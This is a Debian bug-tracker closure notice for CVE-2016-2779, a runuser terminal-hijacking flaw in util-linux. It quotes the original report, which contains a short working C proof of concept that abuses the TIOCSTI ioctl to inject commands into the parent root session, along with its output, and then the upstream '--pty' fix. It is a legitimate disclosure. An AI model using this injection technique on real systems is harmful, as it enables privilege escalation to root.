Your message dated Wed, 8 Aug 2018 20:46:48 +0200 with message-id <[email protected]> and subject line Re: Bug#815922: runuser tty hijacking via TIOCSTI ioctl has caused the Debian Bug report #815922, regarding util-linux: CVE-2016-2779: runuser tty hijacking via TIOCSTI ioctl to be marked as done.
This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [email protected] immediately.) -- 815922: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=815922 Debian Bug Tracking System Contact [email protected] with problems
--- Begin Message ---Package: util-linux Version: all Severity: important When executing a program via "runuser -u nonpriv program" the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation. This issue has been fixed in "su" by calling setsid() and in "sudo" by using the "use_pty" flag # cat test.c #include <sys/ioctl.h> int main() { char *cmd = "id\n"; while(*cmd) ioctl(0, TIOCSTI, cmd++); } # gcc test.c -o test # id saken uid=1000(saken) gid=1000(saken) groups=1000(saken) # runuser -u saken ./test ---> last command i type in id # id ---> did not type this uid=0(root) gid=0(root) groups=0(root) Thanks, Federico Bento ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program.
--- End Message ---
--- Begin Message ---Version: 2.31.1-0.1 Upstream had this to say for the 2.31.0 release: CVE-2016-2779 The new experimental "su --pty" feature has been implemented to fix this issue. The feature is not enabled by default and the new command line option --pty is necessary. The classic way is to use setsid() to disable the ioctl TIOCSTI. Unfortunately, setsid() has well-defined use cases in su(1) and runuser(1) and any changes would introduce regressions. The setsid() also does not fix core of the problem that is terminal file descriptors shared between privileged and unprivileged sessions. Note: runuser uses the su-common code, and also got the --pty flag.
--- End Message ---
